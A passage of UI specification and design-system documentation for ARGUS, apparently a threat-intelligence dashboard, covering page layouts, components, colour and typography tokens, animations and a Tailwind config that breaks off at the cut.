Slide-in panel from the right (fixed right-0 top-0 h-full w-96 bg-argus-surface border-l border-argus-border p-6 animate-slide-in-right z-40). Shows:

Technique ID and full name
Tactic
Observation count
Number of campaigns
Average confidence with ConfidenceBar
Last seen with TimeAgo
Campaign list with confidence per campaign

Close button (X) in top-right corner. Clicking outside the panel also closes it.

Interaction Spec

Click time range button → refetch heatmap with days parameter
Click technique cell → detail panel slides in from right
Click X or outside panel → panel closes

Empty State

Centred EmptyState icon="Grid3x3" title="No techniques observed" description="MITRE techniques are mapped when the MITREMappingAgent processes campaign correlations."

Loading State

A full-width LoadingSkeleton variant="chart" with 14 narrow columns.

Animation Spec

Animation	Trigger	Duration
Fade-in	Page mount	300ms
Slide-in-right	Technique panel opens	300ms

PAGE 5 — Graph Viewer (`/graph`)

Purpose

Interactive React Flow canvas showing the campaign graph: IOC nodes connected by relationship edges. Demonstrates ARGUS's autonomous correlation visually.

Demo Moment

The recruiter sees an interconnected cluster of IP, domain, and hash nodes radiating from a gold campaign centre node. Animated dashed edges pulse between nodes. They zoom in and see "SHARES_ASN" and "DELIVERS" labels on the edges.

Data Sources

Campaign list for selector: GET /api/campaigns?limit=50 on mount
Campaign graph: GET /api/campaigns/{id}/graph fetched on campaign selection via useReactFlow hook

Layout (ASCII Wireframe)

┌──────────────────────────────────────────────────────────────────────────┐
│  Campaign: [▼ Select a campaign...]                                     │
├──────────────────────────────────────────────────────────────────────────┤
│  ┌────────┐                                                             │
│  │ Legend │                                                             │
│  │ 🔴 IP  │          ┌───────────┐                                      │
│  │ 🔵 Domain│        │ Campaign  │ ← gold border                       │
│  │ 🟠 Hash │       ┌─┤ a0eebc99 ├─────┐                                │
│  │ 🟡 Campaign│    │  │ 12 IOCs  │     │                                │
│  └────────┘       │  └───────────┘     │                                │
│                   │                    │                                 │
│              ┌────▼─────┐         ┌────▼─────┐                          │
│              │ 192.0.2.1│         │ evil.com │                          │
│              │ LeaseWeb │         │ registrar│                          │
│              └──────────┘         └──────────┘                          │
│                                                                         │
│                                              ┌──────┐ Zoom: [+][-][⊡]  │
│                                              │minimap│                  │
│                                              └──────┘                   │
└──────────────────────────────────────────────────────────────────────────┘

Component Breakdown

GraphViewer/index.jsx
├── PageWrapper { fullWidth: true }
│   ├── <header> — Campaign selector dropdown
│   ├── <div className="flex h-[calc(100vh-180px)]">
│   │   ├── GraphLegend — Fixed left panel (w-40)
│   │   └── GraphCanvas { nodes, edges, isLoading }
│   │       ├── <ReactFlow> instance with custom node types registered
│   │       ├── <MiniMap> bottom-right
│   │       └── <Controls> zoom buttons
│   └── NodeDetailPanel { selectedNode, isOpen, onClose }
│       └── Slide-in from right with full IOC enrichment data

Custom Node Components

IOCNode.jsx — Custom React Flow node for IOC types.

// Receives data prop from React Flow: { label, ioc_type, confidence, malware_family, asn_org, registrar }

// Node container: w-[180px] bg-argus-surface border-2 rounded-lg p-3
// Border colour based on ioc_type:
//   ipv4/ipv6 → border-argus-red
//   domain    → border-argus-blue
//   hash      → border-orange-400

// Contents:
// Line 1: Badge with ioc_type + label (value) in font-mono text-xs truncated
// Line 2: malware_family OR asn_org OR registrar in text-xs text-argus-text-muted
// Line 3: ConfidenceBar mini version

CampaignNode.jsx — Custom React Flow node for campaign centre.

// Larger node: w-[200px] bg-argus-surface border-2 border-yellow-500 rounded-lg p-4
// Line 1: "Campaign" label in text-xs text-argus-text-muted
// Line 2: campaign_id (first 8 chars) in font-mono text-sm font-bold
// Line 3: IOC count in text-xs

Edge styling

All edges: animated: true (creates dashed animation), style: { stroke: '#6b6b80', strokeWidth: 1.5 }, labelStyle: { fill: '#a0a0b8', fontSize: 10 }.

Interaction Spec

Select campaign from dropdown → graph loads and auto-layouts via dagre
Click a node → NodeDetailPanel slides in from right showing full IOC enrichment data
Zoom/pan via mouse wheel and drag (React Flow built-in)
Minimap in bottom-right corner for navigation

Empty State

Centred EmptyState icon="Network" title="Select a campaign" description="Choose a campaign from the dropdown to visualize its IOC graph."

Loading State

After campaign selection: a centred Loader2 spinner with "Loading graph..." text.

Animation Spec

Animation	Trigger	Duration
Fade-in	Page mount	300ms
Edge dash animation	Always on	Continuous
Slide-in-right	Node detail panel opens	300ms

PAGE 6 — Human Review Queue (`/reviews`)

Purpose

The analyst's workstation for reviewing escalated reports. Shows pending reviews with confidence breakdowns and action buttons for approve, override, or false positive decisions.

Demo Moment

The recruiter sees that ARGUS autonomously escalated a low-confidence report to a human — demonstrating the system knows when it's uncertain. The analyst can approve, override, or reject.

Data Sources

Pending reviews: GET /api/reviews polled every 15s
Review detail: GET /api/reviews/{report_id} fetched on selection
Submit decision: POST /api/reviews/{report_id}/decision

Layout (ASCII Wireframe)

┌──────────────────────────────────────────────────────────────────────────┐
│  Pending Reviews: 3 ●●●                                                │
├────────────────────────────┬─────────────────────────────────────────────┤
│  ┌──────────────────────┐  │  REVIEW PANEL                              │
│  │ Campaign a0eebc99    │  │                                             │
│  │ Confidence: 58% 🟠   │  │  Executive Summary:                        │
│  │ "A financially..."   │  │  "A financially-motivated threat actor..."  │
│  │ In queue: 2 hours    │  │                                             │
│  └──────────────────────┘  │  Prediction:                                │
│  ┌──────────────────────┐  │  Next Phase: Installation                   │
│  │ Campaign 7c9e6679    │  │  Techniques: T1053.005 (78%)                │
│  │ Confidence: 42% 🔴   │  │                                             │
│  │ "An unknown actor..." │  │  Confidence Breakdown:                     │
│  │ In queue: 45 min     │  │  ┌─────────────────────────────────┐       │
│  └──────────────────────┘  │  │ MITRE confidence:  0.72 (×0.35) │       │
│                            │  │ Correlation:       0.65 (×0.30) │       │
│                            │  │ Enrichment:        0.80 (×0.20) │       │
│                            │  │ IOC count score:   0.35 (×0.15) │       │
│                            │  └─────────────────────────────────┘       │
│                            │                                             │
│                            │  [✓ Approve]  [✎ Override]  [✗ False Pos]  │
└────────────────────────────┴─────────────────────────────────────────────┘

Component Breakdown

ReviewQueue/index.jsx
├── PageWrapper
│   ├── <header> — "Pending Reviews: {count}" with pulsing amber badge if count > 0
│   └── <div className="flex gap-6 h-[calc(100vh-160px)]">
│       ├── ReviewList { reviews, selectedId, onSelect }
│       └── ReviewPanel { reportId, onDecisionSubmitted }
│           ├── Executive summary section
│           ├── Prediction section (phase + techniques)
│           ├── Confidence breakdown table
│           ├── Action buttons row
│           └── OverrideForm (conditionally rendered)

Action Buttons

Three buttons in a row:

Approve: bg-argus-green text-white px-4 py-2 rounded-lg hover:bg-green-600 with Check icon
Override: bg-argus-blue text-white px-4 py-2 rounded-lg hover:bg-blue-600 with Pencil icon — clicking this toggles the OverrideForm below
False Positive: bg-argus-red text-white px-4 py-2 rounded-lg hover:bg-red-600 with X icon — clicking this shows a confirmation dialog: "Are you sure? This will mark all IOCs in this campaign as false positives." with "Confirm" and "Cancel" buttons

`OverrideForm.jsx`

Inline form that appears below the action buttons when "Override" is clicked.

Fields:

Corrected Phase: <select> with options: Reconnaissance, Weaponisation, Delivery, Exploitation, Installation, Command & Control, Actions on Objectives
Corrected Techniques: <input type="text" placeholder="T1234.001, T1567.002"> (comma-separated)
Analyst Notes: <textarea> for free-text notes
Submit button: "Submit Override" → calls submitReview(reportId, { decision: 'override', override_prediction: { predicted_phase, predicted_techniques }, analyst_notes })

Interaction Spec

Click a review item → detail panel loads
Click "Approve" → immediate API call, row animates out of list with animate-slide-out-left
Click "Override" → form appears below buttons with animate-slide-up
Click "False Positive" → confirmation dialog, then API call + row animates out
After any decision submission, invalidate the reviews query to refetch

Empty State

Centred EmptyState icon="ClipboardCheck" title="No pending reviews" description="All reports were processed with sufficient confidence. Reports with confidence below 65% are escalated here." with a green Check circle icon.

Loading State

Left: 3 LoadingSkeleton variant="row". Right: LoadingSkeleton variant="card" + LoadingSkeleton variant="text" count={5}.

Animation Spec

Animation	Trigger	Duration
Fade-in	Page mount	300ms
Slide-out-left	Decision submitted, row exits	300ms
Slide-up	Override form appears	300ms
Pulse dot	Pending count badge (amber)	2000ms loop

PAGE 7 — Agent Health Monitor (`/agents`)

Purpose

Pipeline operations page showing the health and performance of all 7 ARGUS agents, Redis stream depths, and Groq token budget.

Demo Moment

The recruiter sees 7 agent cards, all with green status dots, and the ThreatNarrativeAgent's reputation score displayed as a circular progress gauge at 0.78 — the most visually impressive element on this page.

Data Sources

Agent health: GET /api/agents/health polled every 15s
Summary metrics: GET /api/metrics/summary polled every 10s (for stat cards)

Layout (ASCII Wireframe)

┌──────────────────────────────────────────────────────────────────────────┐
│  ┌────────────────┐  ┌────────────────┐  ┌────────────────┐  ┌────────┐│
│  │ IOCs Processed │  │ Predictions    │  │ Accuracy       │  │ Rep.   ││
│  │   24,891       │  │    47          │  │    78%         │  │  0.78  ││
│  └────────────────┘  └────────────────┘  └────────────────┘  └────────┘│
├──────────────────────────────────────────────────────────────────────────┤
│  AGENT CARDS (7 cards, 2-column grid)                                   │
│  ┌──────────────────────────────┐  ┌──────────────────────────────────┐ │
│  │ ● IngestorAgent             │  │ ● EnrichmentAgent                │ │
│  │ Last active: 3s ago         │  │ Last active: 5s ago              │ │
│  │ Tasks: 1,247                │  │ Tasks: 1,198                     │ │
│  │ Queue depth: 12 ▁▂▃▁▂▁▃▂▁▁│  │ Queue depth: 5 ▁▁▁▁▂▁▁▁▁▁      │ │
│  └──────────────────────────────┘  └──────────────────────────────────┘ │
│  ┌──────────────────────────────┐  ┌──────────────────────────────────┐ │
│  │ ● CorrelationAgent          │  │ ● MITREMappingAgent              │ │
│  └──────────────────────────────┘  └──────────────────────────────────┘ │
│  ┌──────────────────────────────┐  ┌──────────────────────────────────┐ │
│  │ ● ThreatNarrativeAgent      │  │ ● FeedbackLearningAgent          │ │
│  │ Reputation: ◐ 0.78          │  │ ...                              │ │
│  └──────────────────────────────┘  └──────────────────────────────────┘ │
│  ┌──────────────────────────────┐                                      │
│  │ ● OrchestratorAgent         │                                      │
│  └──────────────────────────────┘                                      │
├──────────────────────────────────────────────────────────────────────────┤
│  STREAM HEALTH                                                          │
│  stream:raw_iocs        | depth: 12  | lag: 0  | DLQ: 0               │
│  stream:enriched_iocs   | depth: 5   | lag: 0  | DLQ: 0               │
│  ...                                                                    │
├──────────────────────────────────────────────────────────────────────────┤
│  GROQ TOKEN BUDGET:  ████████████████░░░░░░░░  8,200 / 14,400 (57%)   │
└──────────────────────────────────────────────────────────────────────────┘

Component Breakdown

AgentHealth/index.jsx
├── PageWrapper
│   ├── <div className="grid grid-cols-4 gap-4 mb-6"> — Stat cards row
│   │   ├── StatCard { label: "IOCs Processed", value: metrics.iocs_total, icon: "Shield" }
│   │   ├── StatCard { label: "Predictions Made", value: agents.predictions_made, icon: "TrendingUp" }
│   │   ├── StatCard { label: "Prediction Accuracy", value: accuracy, suffix: "%", icon: "Target" }
│   │   └── StatCard { label: "Avg Reputation", value: agents.avg_reputation, icon: "Award" }
│   ├── <div className="grid grid-cols-2 gap-4 mb-6"> — Agent cards
│   │   └── {agents.map(agent => <AgentCard key={agent.agent_id} agent={agent} />)}
│   ├── StreamHealthTable { streams }
│   └── GroqBudgetBar { tokensUsed, tokenBudget }

`AgentCard.jsx`

Card for each agent. bg-argus-surface border border-argus-border rounded-lg p-4.

Contents:

Header row: Status dot (green/amber/red w-2.5 h-2.5 rounded-full) + agent name in font-semibold
Last active: TimeAgo component
Tasks processed: count in font-mono
Queue depth: current depth value + a sparkline of last 10 readings (rendered as a tiny inline SVG or a series of inline-block w-1 bg-argus-blue bars at varying heights)
Special for ThreatNarrativeAgent: ReputationGauge component replaces the queue depth

`ReputationGauge.jsx`

Circular progress indicator showing the reputation score (0–1).

Implementation: An SVG circle with a stroke-dasharray and stroke-dashoffset animation.

<svg width="80" height="80" className="transform -rotate-90">
  <circle cx="40" cy="40" r="32" stroke="#1e1e2e" strokeWidth="6" fill="none" />
  <circle cx="40" cy="40" r="32" stroke={colour} strokeWidth="6" fill="none"
          strokeDasharray={circumference}
          strokeDashoffset={circumference * (1 - score)}
          className="transition-all duration-1000" />
</svg>

Score text centred inside: font-mono text-lg font-bold.
Colour: score >= 0.7 → text-argus-green, score >= 0.5 → text-argus-yellow, else → text-argus-red.

`StreamHealthTable.jsx`

Table showing all Redis streams. Columns: Stream Name, Current Depth, Consumer Group Lag, DLQ Depth.

Styled: bg-argus-surface rounded-lg overflow-hidden. Header row: bg-argus-elevated. Row background: alternate bg-argus-surface and bg-argus-bg. DLQ depth column: red text if > 0.

`GroqBudgetBar.jsx`

A progress bar showing tokens_used / token_budget for the current minute.

Bar container: h-4 bg-argus-elevated rounded-full overflow-hidden. Inner bar width = percentage. Colour: < 60% → bg-argus-green, 60-85% → bg-argus-yellow, > 85% → bg-argus-red. Label text to the right: "{used} / {budget} ({pct}%)" in font-mono text-sm.

Note: This bar auto-resets every 60 seconds as the Groq token counter resets. Show a small "Resets every 60s" note.

Interaction Spec

Page auto-refreshes every 15s
No click interactions (pure monitoring view)

Empty State

Shows stat cards at 0 and agent cards with grey status dots and "No data" labels.

Loading State

4 LoadingSkeleton variant="card" for stat row. 7 LoadingSkeleton variant="card" for agent grid.

Animation Spec

Animation	Trigger	Duration
Fade-in	Page mount	300ms
Count-up	Stat card values change	600ms
Reputation gauge fill	Score loads/changes	1000ms transition

PAGE 8 — Feed Manager (`/feeds`)

Purpose

Control plane for threat intelligence feed sources. View status, trigger manual polls, pause/resume feeds.

Demo Moment

The recruiter sees a grid of feed cards — Feodo Tracker, URLhaus, OTX — all showing green "Active" badges with last poll times. They can click "Trigger Now" and watch the button show a spinner then a checkmark.

Data Sources

Feed status: GET /api/feeds/status polled every 15s
Trigger feed: POST /api/feeds/trigger/{name}
Pause feed: POST /api/feeds/pause/{name}
Resume feed: POST /api/feeds/resume/{name}

Layout (ASCII Wireframe)

┌──────────────────────────────────────────────────────────────────────────┐
│  Feed Manager                                          [Trigger All ▶]  │
├──────────────────────────────────────────────────────────────────────────┤
│  ┌──────────────────────────────────┐  ┌────────────────────────────────┐│
│  │ 🔵 Feodo Tracker                │  │ 🔵 URLhaus                     ││
│  │ Status: ● Active                │  │ Status: ● Active               ││
│  │ Last poll: 3 minutes ago        │  │ Last poll: 5 minutes ago       ││
│  │ Interval: Every 5 min (= stable)│  │ Interval: Every 5 min (↑ fast) ││
│  │ Novel ratio: 12%                │  │ Novel ratio: 8%                ││
│  │ Total ingested: 4,521           │  │ Total ingested: 2,103          ││
│  │ Failures: 0                     │  │ Failures: 0                    ││
│  │                                 │  │                                 ││
│  │ [Trigger Now]  [⏸ Pause]       │  │ [Trigger Now]  [⏸ Pause]       ││
│  └──────────────────────────────────┘  └────────────────────────────────┘│
│  ┌──────────────────────────────────┐  ┌────────────────────────────────┐│
│  │ 🟢 AlienVault OTX              │  │ 🔴 ThreatFox                   ││
│  │ Status: ● Active                │  │ Status: ● Failed               ││
│  │ ...                             │  │ Failures: 3                    ││
│  │ [Trigger Now]  [⏸ Pause]       │  │ [Trigger Now]  [▶ Resume]      ││
│  └──────────────────────────────────┘  └────────────────────────────────┘│
│  ...                                                                    │
└──────────────────────────────────────────────────────────────────────────┘

Component Breakdown

FeedManager/index.jsx
├── PageWrapper
│   ├── <header className="flex justify-between items-center mb-6">
│   │   ├── <h3>Feed Manager</h3>
│   │   └── <button> "Trigger All" — triggers all active feeds sequentially
│   └── <div className="grid grid-cols-2 gap-4">
│       └── {feeds.map(feed => <FeedCard key={feed.feed_name} feed={feed} />)}

`FeedCard.jsx`

Card for each feed. bg-argus-surface border border-argus-border rounded-lg p-5.

Props:

/**
 * @param {object} props
 * @param {object} props.feed - Feed object from API
 *   { feed_name, feed_url, feed_type, is_active, poll_interval_secs, last_polled,
 *     last_novel_ratio, consecutive_failures, total_iocs_ingested }
 */

Contents:

Header: Feed icon (coloured circle per feed type) + feed name in font-semibold text-lg
Status badge: Badge — "Active" (green) if is_active && consecutive_failures < 3, "Paused" (yellow) if !is_active, "Failed" (red) if consecutive_failures >= 3
Last polled: TimeAgo component — "Last poll: {timeAgo}"
Poll interval: {interval} seconds + adaptive indicator:
- Compare poll_interval_secs to default (300). If < 300: "↑ speeding up" in green. If > 300: "↓ slowing down" in yellow. If === 300: "= stable" in grey.
Novel IOC ratio: {(last_novel_ratio * 100).toFixed(0)}% in a small Badge
Total ingested: count in font-mono
Consecutive failures: shown in red text if > 0
Actions row:
- "Trigger Now" button: bg-argus-elevated border border-argus-border text-argus-text-primary px-3 py-1.5 rounded-lg text-sm hover:bg-argus-border. On click, calls triggerFeed(feedName). Shows Loader2 className="animate-spin" while loading. Shows Check icon with "Triggered" text for 2 seconds after success.
- "Pause" button (if active): text-argus-yellow hover:bg-argus-yellow-muted px-3 py-1.5 rounded-lg text-sm. On click, calls pauseFeed(feedName).
- "Resume" button (if paused): text-argus-green hover:bg-argus-green-muted px-3 py-1.5 rounded-lg text-sm. On click, calls resumeFeed(feedName).

"Trigger All" Button

Top-right button. Iterates through all active feeds and calls triggerFeed for each. Shows a spinner while any are in progress. Shows "All Triggered ✓" for 2 seconds when complete.

Interaction Spec

Click "Trigger Now" → button shows spinner → success checkmark for 2s → reverts to normal
Click "Pause" → calls API → feed status updates on next poll (15s)
Click "Resume" → calls API → feed status updates on next poll
After any mutation, invalidate the feeds query to refetch immediately

Empty State

EmptyState icon="Rss" title="No feeds configured" description="Feed sources are seeded into the database on first startup."

Loading State

4 LoadingSkeleton variant="card" in a 2-column grid.

Animation Spec

Animation	Trigger	Duration
Fade-in	Page mount	300ms
Spinner	Trigger button loading	While loading
Check flash	Trigger success	2000ms display

Extracted from: docs/14_DESIGN_SYSTEM.md

ARGUS UI — Design System & Tokens 📄

File: `argus-context/14_DESIGN_SYSTEM.md`

For AI coding agents — read this before writing a single CSS class

1. Brand Identity

ARGUS is a precision instrument, not a hacker tool. The visual language communicates authority, intelligence, and urgency without theatrical effects. Every design decision serves one question: does this make the data easier to trust?

North star references: Vercel dashboard, Linear app, Stripe dashboard — dark mode, typographic, data-dense, zero decoration.

What ARGUS is NOT: green-on-black terminal, glassmorphism blur effects, neon glow, particle systems, gradient meshes, 3D transforms on UI elements.

2. Colour Palette (Complete, Exhaustive)

These are the ONLY colours used anywhere in the application. No exceptions.

Core Palette

:root {
  /* ── BACKGROUNDS ─────────────────────────────────── */
  --bg-page:        #000000;   /* True black. Page canvas. */
  --bg-surface:     #0a0608;   /* Cards, panels, sidebar */
  --bg-elevated:    #110a0c;   /* Hover states, modals, dropdowns */
  --bg-subtle:      #1a0d0f;   /* Table row stripes, inactive tabs */

  /* ── BORDERS ─────────────────────────────────────── */
  --border-default: #1e1014;   /* Default card/panel borders */
  --border-strong:  #2a1518;   /* Focused/active borders */
  --border-accent:  #5a0d1a;   /* Accent borders (campaign card selected) */

  /* ── TEXT ────────────────────────────────────────── */
  --text-primary:   #ffffff;   /* Headlines, primary values */
  --text-secondary: #a0a0a0;   /* Labels, metadata */
  --text-muted:     #555555;   /* Placeholders, disabled, timestamps */
  --text-inverse:   #000000;   /* Text on red backgrounds */

  /* ── RED — The ARGUS accent. Use sparingly. ──────── */
  --red-900:        #2d0008;   /* Deepest red background */
  --red-800:        #5a0d1a;   /* Border on red surfaces */
  --red-700:        #8b1224;   /* Muted red for de-emphasized */
  --red-600:        #a8142a;   /* Secondary red actions */
  --red-500:        #c0162b;   /* PRIMARY RED — buttons, active states */
  --red-400:        #d63348;   /* Hover on red */
  --red-300:        #e05068;   /* Red text on dark bg */
  --red-200:        #f0909e;   /* Very muted red text */
  --red-100:        #fce8eb;   /* Red on white (unused in dark mode) */

  /* ── SEMANTIC COLOURS (not red, not white) ───────── */
  --green-500:      #16c784;   /* Live indicator, confirmed prediction, success */
  --green-bg:       rgba(22, 199, 132, 0.08); /* Green status background */
  --amber-500:      #f59e0b;   /* Warning, pending, medium confidence */
  --amber-bg:       rgba(245, 158, 11, 0.08);
  --blue-500:       #3b82f6;   /* Informational, domain nodes in graph */
  --blue-bg:        rgba(59, 130, 246, 0.08);
  --purple-500:     #8b5cf6;   /* Prediction phase, future state */
  --purple-bg:      rgba(139, 92, 246, 0.08);

  /* ── GRAPH NODE COLOURS (Neo4j / React Flow) ─────── */
  --node-ip:        #c0162b;   /* IPv4/IPv6 nodes */
  --node-domain:    #3b82f6;   /* Domain nodes */
  --node-hash:      #f59e0b;   /* Hash nodes (MD5/SHA) */
  --node-url:       #8b5cf6;   /* URL nodes */
  --node-campaign:  #ffffff;   /* Campaign hub node */
  --node-cve:       #16c784;   /* CVE nodes */
}

Colour Usage Rules (follow exactly)

Use case	Colour token	Notes
Page background	`--bg-page`	Always `#000` — never `#0a0a0a` or similar
Card / panel bg	`--bg-surface`	Subtle warmth (red undertone)
Hover / elevated	`--bg-elevated`	Only on interaction
Primary CTA button	`--red-500` bg, white text	One per view max
Active nav item	`--red-500` left border (2px), `--bg-elevated` bg
IOC type badge (ipv4)	`--red-500` bg 10% opacity, `--red-300` text
IOC type badge (domain)	`--blue-500` bg 10% opacity, `--blue-500` text
IOC type badge (hash)	`--amber-500` bg 10% opacity, `--amber-500` text
Live indicator	`--green-500` pulsing dot
Confidence: high (>0.7)	`--green-500`
Confidence: medium (0.4–0.7)	`--amber-500`
Confidence: low (<0.4)	`--red-300`
Escalation / needs review	`--amber-500` badge
Confirmed prediction	`--green-500` badge
Falsified prediction	`--red-300` badge
Pending prediction	`--text-muted` badge
MITRE technique tag	`--red-900` bg, `--red-300` text, `--red-800` border
Monospace IOC values	`--text-secondary` in `font-mono`

The Red Rule

--red-500 (#c0162b) appears on exactly three things:

The primary CTA button
Active navigation state (left border)
The highest-severity / most active data (top technique in heatmap, live IOC highlight)

Everywhere else, use the muted variants (--red-700, --red-300) or semantic colours (green for confirmed, amber for warning). Red loses meaning if it's everywhere.

3. Typography

Font Stack

--font-sans: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif;
--font-mono: 'JetBrains Mono', 'Fira Code', 'Cascadia Code', 'Consolas', monospace;

Load via Google Fonts in index.html:

<link rel="preconnect" href="https://fonts.googleapis.com">
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">

Type Scale

/* Use these classes / Tailwind equivalents — no other sizes */

.text-hero      { font-size: 56px; font-weight: 700; letter-spacing: -0.04em; line-height: 1.0; }
.text-display   { font-size: 36px; font-weight: 700; letter-spacing: -0.03em; line-height: 1.1; }
.text-title     { font-size: 22px; font-weight: 600; letter-spacing: -0.02em; line-height: 1.2; }
.text-heading   { font-size: 16px; font-weight: 600; letter-spacing: -0.01em; line-height: 1.3; }
.text-body      { font-size: 14px; font-weight: 400; letter-spacing: 0;       line-height: 1.6; }
.text-small     { font-size: 12px; font-weight: 400; letter-spacing: 0;       line-height: 1.5; }
.text-micro     { font-size: 11px; font-weight: 500; letter-spacing: 0.06em;  line-height: 1.4; text-transform: uppercase; }
.text-mono      { font-family: var(--font-mono); font-size: 13px; font-weight: 400; }
.text-mono-sm   { font-family: var(--font-mono); font-size: 11px; font-weight: 400; }

Typography Rules

All IOC values, IPs, hashes, domains → font-mono always. Never render threat data in sans-serif.
MITRE technique IDs (T1566.001) → font-mono + red badge
Timestamps → text-small + --text-muted
Section labels / table headers → text-micro (uppercase, letter-spaced)
Stat numbers → text-display with --text-primary, label below in text-micro + --text-muted
Never bold body copy — weight is reserved for headings and stat numbers only

4. Spacing System

Uses an 8px base grid. Only these values:

4px   — xs  (icon gap, badge padding)
8px   — sm  (component internal padding)
12px  — md  (card internal padding small)
16px  — lg  (card internal padding, row gap)
24px  — xl  (section gap, card gap)
32px  — 2xl (major section gap)
48px  — 3xl (page section gap)
64px  — 4xl (hero spacing)

Tailwind equivalents: p-1 p-2 p-3 p-4 p-6 p-8 p-12 p-16

5. Border Radius

4px  — badges, tags, small pills         (rounded)
6px  — buttons, inputs                   (rounded-md)
8px  — cards, panels, dropdowns          (rounded-lg)
12px — large cards, modals               (rounded-xl)
50%  — avatar circles, status dots only  (rounded-full)

Never use rounded-3xl or rounded-2xl — too soft for a security tool.

6. Shadow System

ARGUS uses no decorative shadows. The only shadow is the ambient glow on important interactive elements:

/* Red glow — only on active campaign nodes, primary buttons on hover */
--shadow-red: 0 0 20px rgba(192, 22, 43, 0.15), 0 0 60px rgba(192, 22, 43, 0.05);

/* Subtle elevation — modals, dropdowns */
--shadow-elevation: 0 4px 24px rgba(0, 0, 0, 0.8), 0 1px 4px rgba(0, 0, 0, 0.6);

All card borders are done with border: 1px solid var(--border-default) — not shadows.

7. Animation Tokens

--duration-instant:  80ms;
--duration-fast:     150ms;
--duration-base:     250ms;
--duration-slow:     400ms;
--duration-enter:    600ms;

--ease-out:   cubic-bezier(0.0, 0.0, 0.2, 1);    /* Elements entering */
--ease-in:    cubic-bezier(0.4, 0.0, 1.0, 1);    /* Elements leaving */
--ease-inout: cubic-bezier(0.4, 0.0, 0.2, 1);    /* In-place transitions */
--ease-spring:cubic-bezier(0.175, 0.885, 0.32, 1.275); /* Bounce — rare */

Animation Inventory (every animation in the app, defined once here)

Name	Duration	Easing	Trigger	Description
`page-enter`	250ms	ease-out	Route change	`opacity: 0→1`, `translateY: 8px→0`
`card-hover`	150ms	ease-out	Hover	`border-color` transition to `--border-strong`
`live-pulse`	2s	ease-in-out	Always (live dot)	`opacity 1→0.3→1`, `scale 1→0.7→1`
`ioc-row-enter`	400ms	ease-out	New IOC via WS	`opacity 0→1`, `translateX: -8px→0`, bg flash `--red-900→transparent`
`ioc-row-highlight`	3s	linear	After enter	Background fades from `--red-900` to transparent over 3 seconds
`count-up`	600ms	ease-out	Data load	Numeric counter from previous value to new value via `requestAnimationFrame`
`skeleton-pulse`	1.5s	ease-in-out	Loading	`opacity 0.4→0.8→0.4`
`slide-in-right`	300ms	ease-out	Panel open	`translateX: 20px→0`, `opacity 0→1`
`slide-out-right`	250ms	ease-in	Panel close	`translateX: 0→20px`, `opacity 1→0`
`review-exit`	300ms	ease-in	After decision	`translateX: 0→-100%`, `opacity 1→0`
`orbit-r1`	14s	linear	Always	Orbital motion, ring 1 (hero page only)
`orbit-r2`	20s	linear	Always	Orbital motion, ring 2 (hero page only)
`orbit-r3`	28s	linear	Always	Orbital motion, ring 3 (hero page only)
`confidence-fill`	600ms	ease-out	Data load	Width 0→N% on confidence bars
`graph-node-enter`	400ms	ease-spring	Node add	`scale 0→1` on React Flow node mount

Animation Rules

Never animate layout properties (width, height, top, left). Only transform and opacity.
Respect prefers-reduced-motion: All animations must check this and skip if set.
Orbital animations are CSS-only (no JS) for performance.
count-up uses requestAnimationFrame in the useCountUp hook — not CSS.
IOC row highlight: uses a CSS class toggled by JS, not inline styles.

@media (prefers-reduced-motion: reduce) {
  *, *::before, *::after {
    animation-duration: 0.01ms !important;
    animation-iteration-count: 1 !important;
    transition-duration: 0.01ms !important;
  }
}

8. Component Tokens (Tailwind Config)

Complete tailwind.config.js — copy this exactly:

/** @type {import('tailwindcss').Config} */
export default {
  content: ['./index.html', './src/**/*.{js,jsx}'],
  theme: {
    extend: {
      colors: {
        // Page backgrounds
        'bg-page':     '#000000',
        'bg-surface':  '#0a0608',
        'bg-elevated': '#110a0c',
        'bg-subtle':   '#1a0d0f',

        // Borders
        'border-default': '#1e1014',
        'border-strong':  '#2a1518',
        'border-accent':  '#5a0d1a',

        // Text
        'text-primary':   '#ffffff',
        'text-secondary': '#a0a0a0',
        'text-muted':     '#555555',

        // ARGUS Red
        'red': {
          900: '#2d0008',
          800: '#5a0d1a',
          700: '#8b1224',
          600: '#a8142a',
          500: '#c0162b',
          400: '#d63348',
          300: '#e05068',
          200: '#f0909e',
        },

        // Semantic
        'green':  { 500: '#16c784', bg: 'rgba(22,199,132,0.08)' },
        'amber':  { 500: '#f59e0b', bg: 'rgba(245,158,11,0.08)' },
        'blue':   { 500: '#3b82f6', bg: 'rgba(59,130,246,0.08)' },
        'purple': { 500: '#8b5cf6', bg: 'rgba(139,92,246,0.08)' },

        // Graph nodes
        'node': {
          ip:       '#c0162b',
          domain:   '#3b82f6',
          hash:     '#f59e0b',
          url:      '#8b5cf6',
          campaign: '#ffffff',
          cve:      '#16c784',
        },
      },

      fontFamily: {
        sans: ['Inter', '-apple-system', 'BlinkMacSystemFont', 'sans-serif'],
        mono: ['JetBrains Mono', 'Fira Code', 'Consolas', 'monospace'],
      },

      fontSize: {
        'hero':    ['56px', { lineHeight: '1.0',  letterSpacing: '-0.04em', fontWeight: '700' }],
        'display': ['36px', { lineHeight: '1.1',  letterSpacing: '-0.03em', fontWeight: '700' }],
        'title':   ['22px', { lineHeight: '1.2',  letterSpacing: '-0.02em', fontWeight: '600' }],
        'heading': ['16px', { lineHeight: '1.3',  letterSpacing: '-0.01em', fontWeight: '600' }],
        'body':    ['14px', { lineHeight: '1.6',  letterSpacing: '0' }],
        'small':   ['12px', { lineHeight: '1.5',  letterSpacing: '0' }],
        'micro':   ['11px', { lineHeight: '1.4',  letterSpacing: '0.06em', fontWeight: '500' }],
      },

      borderRadius: {
        'tag':    '4px',
        'btn':    '6px',
        'card':   '8px',
        'modal':  '12px',
      },

      animation: {
        'live-pulse':      'livePulse 2s ease-in-out infinite',
        'skeleton':        'skeleton 1.5s ease-in-out infinite',
        'page-enter':      'pageEnter 250ms ease-out forwards',
        'slide-in-right':  'slideInRight 300ms ease-out forwards',
        'slide-out-right': 'slideOutRight 250ms ease-in forwards',
        'count-up':        'none', // Handled in JS
        'orbit-r1':        'orbitR1 14s linear infinite',
        'orbit-r2':        'orbitR2 20s linear infinite',
        'orbit-r3':        'orbitR3 28s linear infinite',
        'ioc-highlight':   'iocHighlight 3s ease-out forwards',
        'graph-node':      'graphNode 400ms cubic-bezier(0.175,0.885,0.32,1.275) forwards',
      },

      keyframes: {
        livePulse: {
